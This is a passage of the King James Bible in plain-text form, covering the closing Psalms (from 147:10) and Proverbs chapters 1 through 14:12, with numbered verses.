delighteth not in the strength of the horse: he taketh not +pleasure in the legs of a man. + +147:11 The LORD taketh pleasure in them that fear him, in those that +hope in his mercy. + +147:12 Praise the LORD, O Jerusalem; praise thy God, O Zion. + +147:13 For he hath strengthened the bars of thy gates; he hath blessed +thy children within thee. + +147:14 He maketh peace in thy borders, and filleth thee with the +finest of the wheat. + +147:15 He sendeth forth his commandment upon earth: his word runneth +very swiftly. + +147:16 He giveth snow like wool: he scattereth the hoarfrost like +ashes. + +147:17 He casteth forth his ice like morsels: who can stand before his +cold? + +147:18 He sendeth out his word, and melteth them: he causeth his wind +to blow, and the waters flow. + +147:19 He sheweth his word unto Jacob, his statutes and his judgments +unto Israel. + +147:20 He hath not dealt so with any nation: and as for his judgments, +they have not known them. Praise ye the LORD. + + + +148:1 Praise ye the LORD. Praise ye the LORD from the heavens: praise +him in the heights. + +148:2 Praise ye him, all his angels: praise ye him, all his hosts. + +148:3 Praise ye him, sun and moon: praise him, all ye stars of light. + +148:4 Praise him, ye heavens of heavens, and ye waters that be above +the heavens. + +148:5 Let them praise the name of the LORD: for he commanded, and they +were created. + +148:6 He hath also stablished them for ever and ever: he hath made a +decree which shall not pass. + +148:7 Praise the LORD from the earth, ye dragons, and all deeps: + +148:8 Fire, and hail; snow, and vapours; stormy wind fulfilling his +word: + +148:9 Mountains, and all hills; fruitful trees, and all cedars: + +148:10 Beasts, and all cattle; creeping things, and flying fowl: + +148:11 Kings of the earth, and all people; princes, and all judges of +the earth: + +148:12 Both young men, and maidens; old men, and children: + +148:13 Let them praise the name of the LORD: for his name alone is +excellent; his glory is above the earth and heaven. + +148:14 He also exalteth the horn of his people, the praise of all his +saints; even of the children of Israel, a people near unto him. Praise +ye the LORD. + + + +149:1 Praise ye the LORD. Sing unto the LORD a new song, and his +praise in the congregation of saints. + +149:2 Let Israel rejoice in him that made him: let the children of +Zion be joyful in their King. + +149:3 Let them praise his name in the dance: let them sing praises +unto him with the timbrel and harp. + +149:4 For the LORD taketh pleasure in his people: he will beautify the +meek with salvation. + +149:5 Let the saints be joyful in glory: let them sing aloud upon +their beds. + +149:6 Let the high praises of God be in their mouth, and a two-edged +sword in their hand; + +149:7 To execute vengeance upon the heathen, and punishments upon the +people; + +149:8 To bind their kings with chains, and their nobles with fetters +of iron; + +149:9 To execute upon them the judgment written: this honour have all +his saints. Praise ye the LORD. + + + +150:1 Praise ye the LORD. Praise God in his sanctuary: praise him in +the firmament of his power. + +150:2 Praise him for his mighty acts: praise him according to his +excellent greatness. + +150:3 Praise him with the sound of the trumpet: praise him with the +psaltery and harp. + +150:4 Praise him with the timbrel and dance: praise him with stringed +instruments and organs. + +150:5 Praise him upon the loud cymbals: praise him upon the high +sounding cymbals. + +150:6 Let every thing that hath breath praise the LORD. Praise ye the LORD. + + + + +The Proverbs + + +1:1 The proverbs of Solomon the son of David, king of Israel; 1:2 To +know wisdom and instruction; to perceive the words of understanding; +1:3 To receive the instruction of wisdom, justice, and judgment, and +equity; 1:4 To give subtilty to the simple, to the young man knowledge +and discretion. + +1:5 A wise man will hear, and will increase learning; and a man of +understanding shall attain unto wise counsels: 1:6 To understand a +proverb, and the interpretation; the words of the wise, and their dark +sayings. + +1:7 The fear of the LORD is the beginning of knowledge: but fools +despise wisdom and instruction. + +1:8 My son, hear the instruction of thy father, and forsake not the +law of thy mother: 1:9 For they shall be an ornament of grace unto thy +head, and chains about thy neck. + +1:10 My son, if sinners entice thee, consent thou not. + +1:11 If they say, Come with us, let us lay wait for blood, let us lurk +privily for the innocent without cause: 1:12 Let us swallow them up +alive as the grave; and whole, as those that go down into the pit: +1:13 We shall find all precious substance, we shall fill our houses +with spoil: 1:14 Cast in thy lot among us; let us all have one purse: +1:15 My son, walk not thou in the way with them; refrain thy foot from +their path: 1:16 For their feet run to evil, and make haste to shed +blood. + +1:17 Surely in vain the net is spread in the sight of any bird. + +1:18 And they lay wait for their own blood; they lurk privily for +their own lives. + +1:19 So are the ways of every one that is greedy of gain; which taketh +away the life of the owners thereof. + +1:20 Wisdom crieth without; she uttereth her voice in the streets: +1:21 She crieth in the chief place of concourse, in the openings of +the gates: in the city she uttereth her words, saying, 1:22 How long, +ye simple ones, will ye love simplicity? and the scorners delight in +their scorning, and fools hate knowledge? 1:23 Turn you at my +reproof: behold, I will pour out my spirit unto you, I will make known +my words unto you. + +1:24 Because I have called, and ye refused; I have stretched out my +hand, and no man regarded; 1:25 But ye have set at nought all my +counsel, and would none of my reproof: 1:26 I also will laugh at your +calamity; I will mock when your fear cometh; 1:27 When your fear +cometh as desolation, and your destruction cometh as a whirlwind; when +distress and anguish cometh upon you. + +1:28 Then shall they call upon me, but I will not answer; they shall +seek me early, but they shall not find me: 1:29 For that they hated +knowledge, and did not choose the fear of the LORD: 1:30 They would +none of my counsel: they despised all my reproof. + +1:31 Therefore shall they eat of the fruit of their own way, and be +filled with their own devices. + +1:32 For the turning away of the simple shall slay them, and the +prosperity of fools shall destroy them. + +1:33 But whoso hearkeneth unto me shall dwell safely, and shall be +quiet from fear of evil. + +2:1 My son, if thou wilt receive my words, and hide my commandments +with thee; 2:2 So that thou incline thine ear unto wisdom, and apply +thine heart to understanding; 2:3 Yea, if thou criest after knowledge, +and liftest up thy voice for understanding; 2:4 If thou seekest her as +silver, and searchest for her as for hid treasures; 2:5 Then shalt +thou understand the fear of the LORD, and find the knowledge of God. + +2:6 For the LORD giveth wisdom: out of his mouth cometh knowledge and +understanding. + +2:7 He layeth up sound wisdom for the righteous: he is a buckler to +them that walk uprightly. + +2:8 He keepeth the paths of judgment, and preserveth the way of his +saints. + +2:9 Then shalt thou understand righteousness, and judgment, and +equity; yea, every good path. + +2:10 When wisdom entereth into thine heart, and knowledge is pleasant +unto thy soul; 2:11 Discretion shall preserve thee, understanding +shall keep thee: 2:12 To deliver thee from the way of the evil man, +from the man that speaketh froward things; 2:13 Who leave the paths of +uprightness, to walk in the ways of darkness; 2:14 Who rejoice to do +evil, and delight in the frowardness of the wicked; 2:15 Whose ways +are crooked, and they froward in their paths: 2:16 To deliver thee +from the strange woman, even from the stranger which flattereth with +her words; 2:17 Which forsaketh the guide of her youth, and forgetteth +the covenant of her God. + +2:18 For her house inclineth unto death, and her paths unto the dead. + +2:19 None that go unto her return again, neither take they hold of the +paths of life. + +2:20 That thou mayest walk in the way of good men, and keep the paths +of the righteous. + +2:21 For the upright shall dwell in the land, and the perfect shall +remain in it. + +2:22 But the wicked shall be cut off from the earth, and the +transgressors shall be rooted out of it. + +3:1 My son, forget not my law; but let thine heart keep my +commandments: 3:2 For length of days, and long life, and peace, shall +they add to thee. + +3:3 Let not mercy and truth forsake thee: bind them about thy neck; +write them upon the table of thine heart: 3:4 So shalt thou find +favour and good understanding in the sight of God and man. + +3:5 Trust in the LORD with all thine heart; and lean not unto thine +own understanding. + +3:6 In all thy ways acknowledge him, and he shall direct thy paths. + +3:7 Be not wise in thine own eyes: fear the LORD, and depart from +evil. + +3:8 It shall be health to thy navel, and marrow to thy bones. + +3:9 Honour the LORD with thy substance, and with the firstfruits of +all thine increase: 3:10 So shall thy barns be filled with plenty, and +thy presses shall burst out with new wine. + +3:11 My son, despise not the chastening of the LORD; neither be weary +of his correction: 3:12 For whom the LORD loveth he correcteth; even +as a father the son in whom he delighteth. + +3:13 Happy is the man that findeth wisdom, and the man that getteth +understanding. + +3:14 For the merchandise of it is better than the merchandise of +silver, and the gain thereof than fine gold. + +3:15 She is more precious than rubies: and all the things thou canst +desire are not to be compared unto her. + +3:16 Length of days is in her right hand; and in her left hand riches +and honour. + +3:17 Her ways are ways of pleasantness, and all her paths are peace. + +3:18 She is a tree of life to them that lay hold upon her: and happy +is every one that retaineth her. + +3:19 The LORD by wisdom hath founded the earth; by understanding hath +he established the heavens. + +3:20 By his knowledge the depths are broken up, and the clouds drop +down the dew. + +3:21 My son, let not them depart from thine eyes: keep sound wisdom +and discretion: 3:22 So shall they be life unto thy soul, and grace to +thy neck. + +3:23 Then shalt thou walk in thy way safely, and thy foot shall not +stumble. + +3:24 When thou liest down, thou shalt not be afraid: yea, thou shalt +lie down, and thy sleep shall be sweet. + +3:25 Be not afraid of sudden fear, neither of the desolation of the +wicked, when it cometh. + +3:26 For the LORD shall be thy confidence, and shall keep thy foot +from being taken. + +3:27 Withhold not good from them to whom it is due, when it is in the +power of thine hand to do it. + +3:28 Say not unto thy neighbour, Go, and come again, and to morrow I +will give; when thou hast it by thee. + +3:29 Devise not evil against thy neighbour, seeing he dwelleth +securely by thee. + +3:30 Strive not with a man without cause, if he have done thee no +harm. + +3:31 Envy thou not the oppressor, and choose none of his ways. + +3:32 For the froward is abomination to the LORD: but his secret is +with the righteous. + +3:33 The curse of the LORD is in the house of the wicked: but he +blesseth the habitation of the just. + +3:34 Surely he scorneth the scorners: but he giveth grace unto the +lowly. + +3:35 The wise shall inherit glory: but shame shall be the promotion of +fools. + +4:1 Hear, ye children, the instruction of a father, and attend to know +understanding. + +4:2 For I give you good doctrine, forsake ye not my law. + +4:3 For I was my father's son, tender and only beloved in the sight of +my mother. + +4:4 He taught me also, and said unto me, Let thine heart retain my +words: keep my commandments, and live. + +4:5 Get wisdom, get understanding: forget it not; neither decline from +the words of my mouth. + +4:6 Forsake her not, and she shall preserve thee: love her, and she +shall keep thee. + +4:7 Wisdom is the principal thing; therefore get wisdom: and with all +thy getting get understanding. + +4:8 Exalt her, and she shall promote thee: she shall bring thee to +honour, when thou dost embrace her. + +4:9 She shall give to thine head an ornament of grace: a crown of +glory shall she deliver to thee. + +4:10 Hear, O my son, and receive my sayings; and the years of thy life +shall be many. + +4:11 I have taught thee in the way of wisdom; I have led thee in right +paths. + +4:12 When thou goest, thy steps shall not be straitened; and when thou +runnest, thou shalt not stumble. + +4:13 Take fast hold of instruction; let her not go: keep her; for she +is thy life. + +4:14 Enter not into the path of the wicked, and go not in the way of +evil men. + +4:15 Avoid it, pass not by it, turn from it, and pass away. + +4:16 For they sleep not, except they have done mischief; and their +sleep is taken away, unless they cause some to fall. + +4:17 For they eat the bread of wickedness, and drink the wine of +violence. + +4:18 But the path of the just is as the shining light, that shineth +more and more unto the perfect day. + +4:19 The way of the wicked is as darkness: they know not at what they +stumble. + +4:20 My son, attend to my words; incline thine ear unto my sayings. + +4:21 Let them not depart from thine eyes; keep them in the midst of +thine heart. + +4:22 For they are life unto those that find them, and health to all +their flesh. + +4:23 Keep thy heart with all diligence; for out of it are the issues +of life. + +4:24 Put away from thee a froward mouth, and perverse lips put far +from thee. + +4:25 Let thine eyes look right on, and let thine eyelids look straight +before thee. + +4:26 Ponder the path of thy feet, and let all thy ways be established. + +4:27 Turn not to the right hand nor to the left: remove thy foot from +evil. + +5:1 My son, attend unto my wisdom, and bow thine ear to my +understanding: 5:2 That thou mayest regard discretion, and that thy +lips may keep knowledge. + +5:3 For the lips of a strange woman drop as an honeycomb, and her +mouth is smoother than oil: 5:4 But her end is bitter as wormwood, +sharp as a two-edged sword. + +5:5 Her feet go down to death; her steps take hold on hell. + +5:6 Lest thou shouldest ponder the path of life, her ways are +moveable, that thou canst not know them. + +5:7 Hear me now therefore, O ye children, and depart not from the +words of my mouth. + +5:8 Remove thy way far from her, and come not nigh the door of her +house: 5:9 Lest thou give thine honour unto others, and thy years unto +the cruel: 5:10 Lest strangers be filled with thy wealth; and thy +labours be in the house of a stranger; 5:11 And thou mourn at the +last, when thy flesh and thy body are consumed, 5:12 And say, How have +I hated instruction, and my heart despised reproof; 5:13 And have not +obeyed the voice of my teachers, nor inclined mine ear to them that +instructed me! 5:14 I was almost in all evil in the midst of the +congregation and assembly. + +5:15 Drink waters out of thine own cistern, and running waters out of +thine own well. + +5:16 Let thy fountains be dispersed abroad, and rivers of waters in +the streets. + +5:17 Let them be only thine own, and not strangers' with thee. + +5:18 Let thy fountain be blessed: and rejoice with the wife of thy +youth. + +5:19 Let her be as the loving hind and pleasant roe; let her breasts +satisfy thee at all times; and be thou ravished always with her love. + +5:20 And why wilt thou, my son, be ravished with a strange woman, and +embrace the bosom of a stranger? 5:21 For the ways of man are before +the eyes of the LORD, and he pondereth all his goings. + +5:22 His own iniquities shall take the wicked himself, and he shall be +holden with the cords of his sins. + +5:23 He shall die without instruction; and in the greatness of his +folly he shall go astray. + +6:1 My son, if thou be surety for thy friend, if thou hast stricken +thy hand with a stranger, 6:2 Thou art snared with the words of thy +mouth, thou art taken with the words of thy mouth. + +6:3 Do this now, my son, and deliver thyself, when thou art come into +the hand of thy friend; go, humble thyself, and make sure thy friend. + +6:4 Give not sleep to thine eyes, nor slumber to thine eyelids. + +6:5 Deliver thyself as a roe from the hand of the hunter, and as a +bird from the hand of the fowler. + +6:6 Go to the ant, thou sluggard; consider her ways, and be wise: 6:7 +Which having no guide, overseer, or ruler, 6:8 Provideth her meat in +the summer, and gathereth her food in the harvest. + +6:9 How long wilt thou sleep, O sluggard? when wilt thou arise out of +thy sleep? 6:10 Yet a little sleep, a little slumber, a little +folding of the hands to sleep: 6:11 So shall thy poverty come as one +that travelleth, and thy want as an armed man. + +6:12 A naughty person, a wicked man, walketh with a froward mouth. + +6:13 He winketh with his eyes, he speaketh with his feet, he teacheth +with his fingers; 6:14 Frowardness is in his heart, he deviseth +mischief continually; he soweth discord. + +6:15 Therefore shall his calamity come suddenly; suddenly shall he be +broken without remedy. + +6:16 These six things doth the LORD hate: yea, seven are an +abomination unto him: 6:17 A proud look, a lying tongue, and hands +that shed innocent blood, 6:18 An heart that deviseth wicked +imaginations, feet that be swift in running to mischief, 6:19 A false +witness that speaketh lies, and he that soweth discord among brethren. + +6:20 My son, keep thy father's commandment, and forsake not the law of +thy mother: 6:21 Bind them continually upon thine heart, and tie them +about thy neck. + +6:22 When thou goest, it shall lead thee; when thou sleepest, it shall +keep thee; and when thou awakest, it shall talk with thee. + +6:23 For the commandment is a lamp; and the law is light; and reproofs +of instruction are the way of life: 6:24 To keep thee from the evil +woman, from the flattery of the tongue of a strange woman. + +6:25 Lust not after her beauty in thine heart; neither let her take +thee with her eyelids. + +6:26 For by means of a whorish woman a man is brought to a piece of +bread: and the adultress will hunt for the precious life. + +6:27 Can a man take fire in his bosom, and his clothes not be burned? +6:28 Can one go upon hot coals, and his feet not be burned? 6:29 So +he that goeth in to his neighbour's wife; whosoever toucheth her shall +not be innocent. + +6:30 Men do not despise a thief, if he steal to satisfy his soul when +he is hungry; 6:31 But if he be found, he shall restore sevenfold; he +shall give all the substance of his house. + +6:32 But whoso committeth adultery with a woman lacketh understanding: +he that doeth it destroyeth his own soul. + +6:33 A wound and dishonour shall he get; and his reproach shall not be +wiped away. + +6:34 For jealousy is the rage of a man: therefore he will not spare in +the day of vengeance. + +6:35 He will not regard any ransom; neither will he rest content, +though thou givest many gifts. + +7:1 My son, keep my words, and lay up my commandments with thee. + +7:2 Keep my commandments, and live; and my law as the apple of thine +eye. + +7:3 Bind them upon thy fingers, write them upon the table of thine +heart. + +7:4 Say unto wisdom, Thou art my sister; and call understanding thy +kinswoman: 7:5 That they may keep thee from the strange woman, from +the stranger which flattereth with her words. + +7:6 For at the window of my house I looked through my casement, 7:7 +And beheld among the simple ones, I discerned among the youths, a +young man void of understanding, 7:8 Passing through the street near +her corner; and he went the way to her house, 7:9 In the twilight, in +the evening, in the black and dark night: 7:10 And, behold, there met +him a woman with the attire of an harlot, and subtil of heart. + +7:11 (She is loud and stubborn; her feet abide not in her house: 7:12 +Now is she without, now in the streets, and lieth in wait at every +corner.) 7:13 So she caught him, and kissed him, and with an impudent +face said unto him, 7:14 I have peace offerings with me; this day have +I payed my vows. + +7:15 Therefore came I forth to meet thee, diligently to seek thy face, +and I have found thee. + +7:16 I have decked my bed with coverings of tapestry, with carved +works, with fine linen of Egypt. + +7:17 I have perfumed my bed with myrrh, aloes, and cinnamon. + +7:18 Come, let us take our fill of love until the morning: let us +solace ourselves with loves. + +7:19 For the goodman is not at home, he is gone a long journey: 7:20 +He hath taken a bag of money with him, and will come home at the day +appointed. + +7:21 With her much fair speech she caused him to yield, with the +flattering of her lips she forced him. + +7:22 He goeth after her straightway, as an ox goeth to the slaughter, +or as a fool to the correction of the stocks; 7:23 Till a dart strike +through his liver; as a bird hasteth to the snare, and knoweth not +that it is for his life. + +7:24 Hearken unto me now therefore, O ye children, and attend to the +words of my mouth. + +7:25 Let not thine heart decline to her ways, go not astray in her +paths. + +7:26 For she hath cast down many wounded: yea, many strong men have +been slain by her. + +7:27 Her house is the way to hell, going down to the chambers of +death. + +8:1 Doth not wisdom cry? and understanding put forth her voice? 8:2 +She standeth in the top of high places, by the way in the places of +the paths. + +8:3 She crieth at the gates, at the entry of the city, at the coming +in at the doors. + +8:4 Unto you, O men, I call; and my voice is to the sons of man. + +8:5 O ye simple, understand wisdom: and, ye fools, be ye of an +understanding heart. + +8:6 Hear; for I will speak of excellent things; and the opening of my +lips shall be right things. + +8:7 For my mouth shall speak truth; and wickedness is an abomination +to my lips. + +8:8 All the words of my mouth are in righteousness; there is nothing +froward or perverse in them. + +8:9 They are all plain to him that understandeth, and right to them +that find knowledge. + +8:10 Receive my instruction, and not silver; and knowledge rather than +choice gold. + +8:11 For wisdom is better than rubies; and all the things that may be +desired are not to be compared to it. + +8:12 I wisdom dwell with prudence, and find out knowledge of witty +inventions. + +8:13 The fear of the LORD is to hate evil: pride, and arrogancy, and +the evil way, and the froward mouth, do I hate. + +8:14 Counsel is mine, and sound wisdom: I am understanding; I have +strength. + +8:15 By me kings reign, and princes decree justice. + +8:16 By me princes rule, and nobles, even all the judges of the earth. + +8:17 I love them that love me; and those that seek me early shall find +me. + +8:18 Riches and honour are with me; yea, durable riches and +righteousness. + +8:19 My fruit is better than gold, yea, than fine gold; and my revenue +than choice silver. + +8:20 I lead in the way of righteousness, in the midst of the paths of +judgment: 8:21 That I may cause those that love me to inherit +substance; and I will fill their treasures. + +8:22 The LORD possessed me in the beginning of his way, before his +works of old. + +8:23 I was set up from everlasting, from the beginning, or ever the +earth was. + +8:24 When there were no depths, I was brought forth; when there were +no fountains abounding with water. + +8:25 Before the mountains were settled, before the hills was I brought +forth: 8:26 While as yet he had not made the earth, nor the fields, +nor the highest part of the dust of the world. + +8:27 When he prepared the heavens, I was there: when he set a compass +upon the face of the depth: 8:28 When he established the clouds above: +when he strengthened the fountains of the deep: 8:29 When he gave to +the sea his decree, that the waters should not pass his commandment: +when he appointed the foundations of the earth: 8:30 Then I was by +him, as one brought up with him: and I was daily his delight, +rejoicing always before him; 8:31 Rejoicing in the habitable part of +his earth; and my delights were with the sons of men. + +8:32 Now therefore hearken unto me, O ye children: for blessed are +they that keep my ways. + +8:33 Hear instruction, and be wise, and refuse it not. + +8:34 Blessed is the man that heareth me, watching daily at my gates, +waiting at the posts of my doors. + +8:35 For whoso findeth me findeth life, and shall obtain favour of the +LORD. + +8:36 But he that sinneth against me wrongeth his own soul: all they +that hate me love death. + +9:1 Wisdom hath builded her house, she hath hewn out her seven +pillars: 9:2 She hath killed her beasts; she hath mingled her wine; +she hath also furnished her table. + +9:3 She hath sent forth her maidens: she crieth upon the highest +places of the city, 9:4 Whoso is simple, let him turn in hither: as +for him that wanteth understanding, she saith to him, 9:5 Come, eat of +my bread, and drink of the wine which I have mingled. + +9:6 Forsake the foolish, and live; and go in the way of understanding. + +9:7 He that reproveth a scorner getteth to himself shame: and he that +rebuketh a wicked man getteth himself a blot. + +9:8 Reprove not a scorner, lest he hate thee: rebuke a wise man, and +he will love thee. + +9:9 Give instruction to a wise man, and he will be yet wiser: teach a +just man, and he will increase in learning. + +9:10 The fear of the LORD is the beginning of wisdom: and the +knowledge of the holy is understanding. + +9:11 For by me thy days shall be multiplied, and the years of thy life +shall be increased. + +9:12 If thou be wise, thou shalt be wise for thyself: but if thou +scornest, thou alone shalt bear it. + +9:13 A foolish woman is clamorous: she is simple, and knoweth nothing. + +9:14 For she sitteth at the door of her house, on a seat in the high +places of the city, 9:15 To call passengers who go right on their +ways: 9:16 Whoso is simple, let him turn in hither: and as for him +that wanteth understanding, she saith to him, 9:17 Stolen waters are +sweet, and bread eaten in secret is pleasant. + +9:18 But he knoweth not that the dead are there; and that her guests +are in the depths of hell. + +10:1 The proverbs of Solomon. A wise son maketh a glad father: but a +foolish son is the heaviness of his mother. + +10:2 Treasures of wickedness profit nothing: but righteousness +delivereth from death. + +10:3 The LORD will not suffer the soul of the righteous to famish: but +he casteth away the substance of the wicked. + +10:4 He becometh poor that dealeth with a slack hand: but the hand of +the diligent maketh rich. + +10:5 He that gathereth in summer is a wise son: but he that sleepeth +in harvest is a son that causeth shame. + +10:6 Blessings are upon the head of the just: but violence covereth +the mouth of the wicked. + +10:7 The memory of the just is blessed: but the name of the wicked +shall rot. + +10:8 The wise in heart will receive commandments: but a prating fool +shall fall. + +10:9 He that walketh uprightly walketh surely: but he that perverteth +his ways shall be known. + +10:10 He that winketh with the eye causeth sorrow: but a prating fool +shall fall. + +10:11 The mouth of a righteous man is a well of life: but violence +covereth the mouth of the wicked. + +10:12 Hatred stirreth up strifes: but love covereth all sins. + +10:13 In the lips of him that hath understanding wisdom is found: but +a rod is for the back of him that is void of understanding. + +10:14 Wise men lay up knowledge: but the mouth of the foolish is near +destruction. + +10:15 The rich man's wealth is his strong city: the destruction of the +poor is their poverty. + +10:16 The labour of the righteous tendeth to life: the fruit of the +wicked to sin. + +10:17 He is in the way of life that keepeth instruction: but he that +refuseth reproof erreth. + +10:18 He that hideth hatred with lying lips, and he that uttereth a +slander, is a fool. + +10:19 In the multitude of words there wanteth not sin: but he that +refraineth his lips is wise. + +10:20 The tongue of the just is as choice silver: the heart of the +wicked is little worth. + +10:21 The lips of the righteous feed many: but fools die for want of +wisdom. + +10:22 The blessing of the LORD, it maketh rich, and he addeth no +sorrow with it. + +10:23 It is as sport to a fool to do mischief: but a man of +understanding hath wisdom. + +10:24 The fear of the wicked, it shall come upon him: but the desire +of the righteous shall be granted. + +10:25 As the whirlwind passeth, so is the wicked no more: but the +righteous is an everlasting foundation. + +10:26 As vinegar to the teeth, and as smoke to the eyes, so is the +sluggard to them that send him. + +10:27 The fear of the LORD prolongeth days: but the years of the +wicked shall be shortened. + +10:28 The hope of the righteous shall be gladness: but the expectation +of the wicked shall perish. + +10:29 The way of the LORD is strength to the upright: but destruction +shall be to the workers of iniquity. + +10:30 The righteous shall never be removed: but the wicked shall not +inhabit the earth. + +10:31 The mouth of the just bringeth forth wisdom: but the froward +tongue shall be cut out. + +10:32 The lips of the righteous know what is acceptable: but the mouth +of the wicked speaketh frowardness. + +11:1 A false balance is abomination to the LORD: but a just weight is +his delight. + +11:2 When pride cometh, then cometh shame: but with the lowly is +wisdom. + +11:3 The integrity of the upright shall guide them: but the +perverseness of transgressors shall destroy them. + +11:4 Riches profit not in the day of wrath: but righteousness +delivereth from death. + +11:5 The righteousness of the perfect shall direct his way: but the +wicked shall fall by his own wickedness. + +11:6 The righteousness of the upright shall deliver them: but +transgressors shall be taken in their own naughtiness. + +11:7 When a wicked man dieth, his expectation shall perish: and the +hope of unjust men perisheth. + +11:8 The righteous is delivered out of trouble, and the wicked cometh +in his stead. + +11:9 An hypocrite with his mouth destroyeth his neighbour: but through +knowledge shall the just be delivered. + +11:10 When it goeth well with the righteous, the city rejoiceth: and +when the wicked perish, there is shouting. + +11:11 By the blessing of the upright the city is exalted: but it is +overthrown by the mouth of the wicked. + +11:12 He that is void of wisdom despiseth his neighbour: but a man of +understanding holdeth his peace. + +11:13 A talebearer revealeth secrets: but he that is of a faithful +spirit concealeth the matter. + +11:14 Where no counsel is, the people fall: but in the multitude of +counsellors there is safety. + +11:15 He that is surety for a stranger shall smart for it: and he that +hateth suretiship is sure. + +11:16 A gracious woman retaineth honour: and strong men retain riches. + +11:17 The merciful man doeth good to his own soul: but he that is +cruel troubleth his own flesh. + +11:18 The wicked worketh a deceitful work: but to him that soweth +righteousness shall be a sure reward. + +11:19 As righteousness tendeth to life: so he that pursueth evil +pursueth it to his own death. + +11:20 They that are of a froward heart are abomination to the LORD: +but such as are upright in their way are his delight. + +11:21 Though hand join in hand, the wicked shall not be unpunished: +but the seed of the righteous shall be delivered. + +11:22 As a jewel of gold in a swine's snout, so is a fair woman which +is without discretion. + +11:23 The desire of the righteous is only good: but the expectation of +the wicked is wrath. + +11:24 There is that scattereth, and yet increaseth; and there is that +withholdeth more than is meet, but it tendeth to poverty. + +11:25 The liberal soul shall be made fat: and he that watereth shall +be watered also himself. + +11:26 He that withholdeth corn, the people shall curse him: but +blessing shall be upon the head of him that selleth it. + +11:27 He that diligently seeketh good procureth favour: but he that +seeketh mischief, it shall come unto him. + +11:28 He that trusteth in his riches shall fall; but the righteous +shall flourish as a branch. + +11:29 He that troubleth his own house shall inherit the wind: and the +fool shall be servant to the wise of heart. + +11:30 The fruit of the righteous is a tree of life; and he that +winneth souls is wise. + +11:31 Behold, the righteous shall be recompensed in the earth: much +more the wicked and the sinner. + +12:1 Whoso loveth instruction loveth knowledge: but he that hateth +reproof is brutish. + +12:2 A good man obtaineth favour of the LORD: but a man of wicked +devices will he condemn. + +12:3 A man shall not be established by wickedness: but the root of the +righteous shall not be moved. + +12:4 A virtuous woman is a crown to her husband: but she that maketh +ashamed is as rottenness in his bones. + +12:5 The thoughts of the righteous are right: but the counsels of the +wicked are deceit. + +12:6 The words of the wicked are to lie in wait for blood: but the +mouth of the upright shall deliver them. + +12:7 The wicked are overthrown, and are not: but the house of the +righteous shall stand. + +12:8 A man shall be commended according to his wisdom: but he that is +of a perverse heart shall be despised. + +12:9 He that is despised, and hath a servant, is better than he that +honoureth himself, and lacketh bread. + +12:10 A righteous man regardeth the life of his beast: but the tender +mercies of the wicked are cruel. + +12:11 He that tilleth his land shall be satisfied with bread: but he +that followeth vain persons is void of understanding. + +12:12 The wicked desireth the net of evil men: but the root of the +righteous yieldeth fruit. + +12:13 The wicked is snared by the transgression of his lips: but the +just shall come out of trouble. + +12:14 A man shall be satisfied with good by the fruit of his mouth: +and the recompence of a man's hands shall be rendered unto him. + +12:15 The way of a fool is right in his own eyes: but he that +hearkeneth unto counsel is wise. + +12:16 A fool's wrath is presently known: but a prudent man covereth +shame. + +12:17 He that speaketh truth sheweth forth righteousness: but a false +witness deceit. + +12:18 There is that speaketh like the piercings of a sword: but the +tongue of the wise is health. + +12:19 The lip of truth shall be established for ever: but a lying +tongue is but for a moment. + +12:20 Deceit is in the heart of them that imagine evil: but to the +counsellors of peace is joy. + +12:21 There shall no evil happen to the just: but the wicked shall be +filled with mischief. + +12:22 Lying lips are abomination to the LORD: but they that deal truly +are his delight. + +12:23 A prudent man concealeth knowledge: but the heart of fools +proclaimeth foolishness. + +12:24 The hand of the diligent shall bear rule: but the slothful shall +be under tribute. + +12:25 Heaviness in the heart of man maketh it stoop: but a good word +maketh it glad. + +12:26 The righteous is more excellent than his neighbour: but the way +of the wicked seduceth them. + +12:27 The slothful man roasteth not that which he took in hunting: but +the substance of a diligent man is precious. + +12:28 In the way of righteousness is life: and in the pathway thereof +there is no death. + +13:1 A wise son heareth his father's instruction: but a scorner +heareth not rebuke. + +13:2 A man shall eat good by the fruit of his mouth: but the soul of +the transgressors shall eat violence. + +13:3 He that keepeth his mouth keepeth his life: but he that openeth +wide his lips shall have destruction. + +13:4 The soul of the sluggard desireth, and hath nothing: but the soul +of the diligent shall be made fat. + +13:5 A righteous man hateth lying: but a wicked man is loathsome, and +cometh to shame. + +13:6 Righteousness keepeth him that is upright in the way: but +wickedness overthroweth the sinner. + +13:7 There is that maketh himself rich, yet hath nothing: there is +that maketh himself poor, yet hath great riches. + +13:8 The ransom of a man's life are his riches: but the poor heareth +not rebuke. + +13:9 The light of the righteous rejoiceth: but the lamp of the wicked +shall be put out. + +13:10 Only by pride cometh contention: but with the well advised is +wisdom. + +13:11 Wealth gotten by vanity shall be diminished: but he that +gathereth by labour shall increase. + +13:12 Hope deferred maketh the heart sick: but when the desire cometh, +it is a tree of life. + +13:13 Whoso despiseth the word shall be destroyed: but he that feareth +the commandment shall be rewarded. + +13:14 The law of the wise is a fountain of life, to depart from the +snares of death. + +13:15 Good understanding giveth favour: but the way of transgressors +is hard. + +13:16 Every prudent man dealeth with knowledge: but a fool layeth open +his folly. + +13:17 A wicked messenger falleth into mischief: but a faithful +ambassador is health. + +13:18 Poverty and shame shall be to him that refuseth instruction: but +he that regardeth reproof shall be honoured. + +13:19 The desire accomplished is sweet to the soul: but it is +abomination to fools to depart from evil. + +13:20 He that walketh with wise men shall be wise: but a companion of +fools shall be destroyed. + +13:21 Evil pursueth sinners: but to the righteous good shall be +repayed. + +13:22 A good man leaveth an inheritance to his children's children: +and the wealth of the sinner is laid up for the just. + +13:23 Much food is in the tillage of the poor: but there is that is +destroyed for want of judgment. + +13:24 He that spareth his rod hateth his son: but he that loveth him +chasteneth him betimes. + +13:25 The righteous eateth to the satisfying of his soul: but the +belly of the wicked shall want. + +14:1 Every wise woman buildeth her house: but the foolish plucketh it +down with her hands. + +14:2 He that walketh in his uprightness feareth the LORD: but he that +is perverse in his ways despiseth him. + +14:3 In the mouth of the foolish is a rod of pride: but the lips of +the wise shall preserve them. + +14:4 Where no oxen are, the crib is clean: but much increase is by the +strength of the ox. + +14:5 A faithful witness will not lie: but a false witness will utter +lies. + +14:6 A scorner seeketh wisdom, and findeth it not: but knowledge is +easy unto him that understandeth. + +14:7 Go from the presence of a foolish man, when thou perceivest not +in him the lips of knowledge. + +14:8 The wisdom of the prudent is to understand his way: but the folly +of fools is deceit. + +14:9 Fools make a mock at sin: but among the righteous there is +favour. + +14:10 The heart knoweth his own bitterness; and a stranger doth not +intermeddle with his joy. + +14:11 The house of the wicked shall be overthrown: but the tabernacle +of the upright shall flourish. + +14:12 There is a way which seemeth right unto a man, but the end +thereof are the ways of death. 